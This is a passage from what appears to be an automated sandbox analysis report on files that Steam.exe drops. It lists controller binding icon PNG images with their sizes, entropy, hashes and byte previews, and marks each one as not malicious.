UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0318.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	29967
Entropy (8bit):	7.90772959249393
Encrypted:	false
SSDEEP:
MD5:	2457436E2BD511EE2164351F68E54AF1
SHA1:	B56F891CC8BCC6C5CBA8CC94B85654DFF39E38FA
SHA-256:	13443880FD6259BA086F535C2180139C3658FDDC55E38F7E361B9312D4949B1C
SHA-512:	F50B0515684944BEB0B24000103AB9F0E368C9FB4BFBF2341D15E3A58B19AB19FF79221C550130F68C0864C0B6454BDCF5581F431F8F45DB7141E6143AEECC69
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0319.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11621
Entropy (8bit):	7.648300216620438
Encrypted:	false
SSDEEP:
MD5:	FCC1AAAA1D24AD3C9EFF7AA1DEF1AD2E
SHA1:	4877D48649140F1F0AFF548220851618420ECC63
SHA-256:	B219DEEC018D03CBD36250EFD459E6F4E59744B281F5242CDD125322BF547C9C
SHA-512:	E1ADA102D011919379BEFAC5C7F4671AA1D96973A5304E78335C624627EDC3AB6DE94A8DD6B15EBDB58023B8B660F2FFD66B4B0F1D8E9B0376CCBCD3051A7947
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0320.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13701
Entropy (8bit):	7.802765805022443
Encrypted:	false
SSDEEP:
MD5:	09287D92A293697DF532BD9E5B217692
SHA1:	A071A8AA9C775F984F593D87CB383AF11DBD6378
SHA-256:	4E7CB5B4653C1020566DEF18C1E4D1AF963C7846E62F8751BCBA71B79D54BAAA
SHA-512:	3EDB150DCDCB3CEEE2246905B8D1FEABB3067C87E6DBD3E76C1F57E03DB88091E636EC5C13DD438A04A7D33C0C03AE461389B73E38161F252E7ED65B30D3AB93
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0321.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14674
Entropy (8bit):	7.836457913706092
Encrypted:	false
SSDEEP:
MD5:	DADD8CF174AF289F5F590AEDC8D0E91C
SHA1:	6C17A389A60057B077D629F52B52EFF013A585EF
SHA-256:	552F48E9CF864936B6FB4EA7487B6ED9F594B2C55E78FFDE9D76DC82C9F87A20
SHA-512:	43AF7C18E0AEDA16FAC0A2E27D1C1690E81801B3AFB1BF653FA01B6B02779ADFC5F2E35018BF827EFEC200E6312FA1B29CDBF86437DC8F94C6F0AF6D4D37EED3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0321a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15229
Entropy (8bit):	7.850510771898214
Encrypted:	false
SSDEEP:
MD5:	0450105B1B933B2874C050544D13E018
SHA1:	31DF1AC6196131A8FD5DCCCF3153ABE432733CC1
SHA-256:	82B106741D6523DE713C9D98AD6A9438A666AD0474ECEC38FB04E9FE7ED2F900
SHA-512:	7ED49AD73D6FB07AB17F4F0E629518A4C2D717ACE83A92E646208D717C28BD8300A085DC34F2928F2CDBD290069F7ACE3496281D084133ECF1CC185019517FBB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0322.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16052
Entropy (8bit):	7.840469090188319
Encrypted:	false
SSDEEP:
MD5:	85B81920F15F2CA0483260FE3D8BD343
SHA1:	257AF5797052E89E71B6DB185BB8AEA4C5B094BF
SHA-256:	0B7375F91EBDEDA60DE07C8E0724D2BB98AA603EE007ED75FF1330061D63396A
SHA-512:	B39E6BCD6FC30B0FC9E216F4180413F2E6C99CAF30BFF1A91DA28C71A64E84EE73EED8A3FB943FF0ADF3D12219AA5697CAC9AE50DD68475741E913D09709E357
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0040.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11718
Entropy (8bit):	7.936359369402285
Encrypted:	false
SSDEEP:
MD5:	1DDDD92904534C3BFF8B0D554C96F36B
SHA1:	828D95F9A9A72276CD53A419BD181618985B1B28
SHA-256:	F243649320ADC4146ACD6FB923E55E08113266E2F0195B31137DC4A0F95722CC
SHA-512:	8D0BCAA6358A42F33438BB370E32A7C06BAC0B73A28C1FA5393230D9D720865FF2F7D76ADE0D1D26160B1DC92AB423E37C720A27D9611CA6A12C82EBCDF4A4C1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:14CDF21A826911E58F1C86F03CEC7047" xmpMM:InstanceID="xmp.iid:14CDF219826911E58F1C86F03CEC7047" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...W..).IDATx....U.u.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0050.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11934
Entropy (8bit):	7.916426971921747
Encrypted:	false
SSDEEP:
MD5:	B9E975AAF10494C8F46096BBA998BD17
SHA1:	82235B312588944E16B3EAE7DC12A02D4C011CC8
SHA-256:	CD7997D3958F19313197EB555BB5DC9581AED80FD4DC1A122EF611E742B6AA54
SHA-512:	D7AB271CF72AEEE68A187202F31EBA04B27E12F90F13763E5CF89BB58381D2CC3B5D064F4D24F33C9A3227099A6D904F586908503ACF72A3357DA985EC3D70D5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:16B89099826911E585A8B698893FF6D0" xmpMM:InstanceID="xmp.iid:16B89098826911E585A8B698893FF6D0" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..-..*.IDATx..]...E./

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0060.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11978
Entropy (8bit):	7.9109753457220116
Encrypted:	false
SSDEEP:
MD5:	0A03632E37B064A18278E1A99354C0AC
SHA1:	A986F1C691BDC71366CF79426014A184DF98EB5A
SHA-256:	05FEA1705A3599875EDF2EFBB93ADFE5165013F277E67CE5AEC29958F779BDF5
SHA-512:	F8A607CDB991D92A7B790DB5FC2642D7DC55A44529E68931AB900D2A684E77650E46B3063D547F6214A1D99316BA51BDE8825A1E3EC82843FDAC8FC0640F0CD4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:16E8F0A6826911E5BBD6DE66168B3F1E" xmpMM:InstanceID="xmp.iid:16E8F0A5826911E5BBD6DE66168B3F1E" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.J.{..*.IDATx..].....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0070.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15497
Entropy (8bit):	7.934442308387185
Encrypted:	false
SSDEEP:
MD5:	F108AFEDE0F8028DEB77D6B806050476
SHA1:	A1BA669852D35E7CC9092972200E0A160654927D
SHA-256:	8699C34D9BEF6859C4704F1CE0CDB71EA5A9BE040089D1B3173EAE3B6D82C69E
SHA-512:	3256A37383D680021885784AE2473412A9E5CE730D98A3DD282CBAC17049060F9C47230992BDD10D922ACEE7FED71A502D70899975BECD8268C60E8E8181CFA5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:16FF5F69826911E58B0BF2797330F178" xmpMM:InstanceID="xmp.iid:16FF5F68826911E58B0BF2797330F178" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..a...8.IDATx....U..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0080.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8978
Entropy (8bit):	7.88829047560839
Encrypted:	false
SSDEEP:
MD5:	8C314FBBFB5994AEA8AE470DE6844207
SHA1:	E7AF870B5433F8D2EBC29699CC7CA146D8ED7995
SHA-256:	0FBAAA0EEBD4B94B3623972D50DEE8A1407CCAB52FE41402BEE6D0D4E8AE44C3
SHA-512:	C804D4FEE1AD39DA20C7649E1D1F7F38FE03FC13EB775C7F131887D241FE853CC0F493420CB59BD0E9EBD70F6441F8E5043AC0095E6B369391B25C652167219C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:171754D6826911E5B088B36B6289D798" xmpMM:InstanceID="xmp.iid:171754D5826911E5B088B36B6289D798" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..W....$IDATx...tU..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0090.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9440
Entropy (8bit):	7.8962892551804105
Encrypted:	false
SSDEEP:
MD5:	0817BA3A7F52B27E011445EEFCA6343F
SHA1:	22D20EF1DE67DFF2010B2015009D2C323B66F045
SHA-256:	8A70EEC1EB0A019CE5158E77D4593C985F81AD5DF855F31F5CB268BBFD1C6C3E
SHA-512:	760581C6A5F33D9BC3C99D0C4E93CA09E8E8FABCCFF292EEF0697A21989849C85EFC79C92E41A33DD8CC4E8EA7926225800E666A0460D59F7D933D4236DB053A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:175F0E0C826911E58E88C26530B21046" xmpMM:InstanceID="xmp.iid:175F0E0B826911E58E88C26530B21046" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.c.... .IDATx.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0100.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9888
Entropy (8bit):	7.88825013989246
Encrypted:	false
SSDEEP:
MD5:	90E45874731F5C67B26D30653812DA7A
SHA1:	DCCBD303020865BF51A62E5F61F895BA03B7BB39
SHA-256:	2CC2513A388683D22F46DEAFFDB73EFF27CAD9C54AB0428F57C6BE7ADF339C66
SHA-512:	4A279CE6A6A3E9834B2468CE4DA4DE4C856F8E9D7C04B9D856C513A73E5056FF78EECA52DA2B3C85154630C21E1AF064CCF9ED493FE5C5752C88746A9E343618
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1A43070D826911E5AD37EC8AA5D64A4B" xmpMM:InstanceID="xmp.iid:1A43070C826911E5AD37EC8AA5D64A4B" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>5Y.K..".IDATx..]..T..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0110.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13011
Entropy (8bit):	7.928121025270249
Encrypted:	false
SSDEEP:
MD5:	28A1C1F52928BAAE3793C6F54A162F36
SHA1:	CD9A5777629490C04CCC38436D25DE7A5EAEF6E2
SHA-256:	10D68EC710FF00927EDB013DEC17D0A2A5C4EC5D4E039005E0C61D6F01D43E11
SHA-512:	9549D1066A2A906C8A44819AEF9E7CEB25427C9402315325A3BE975BCCF038739564D354398C8CECC6D7AD8EDD6BD36C6DB355EF51440A776FF9763D4CFA61E4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1C11DF76826911E58864DDF6FA651BDE" xmpMM:InstanceID="xmp.iid:1C11DF75826911E58864DDF6FA651BDE" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..2.....IDATx..}.....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0120.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9111
Entropy (8bit):	7.877112503057368
Encrypted:	false
SSDEEP:
MD5:	33DD277D2A6284849D018608E6D1DAE8
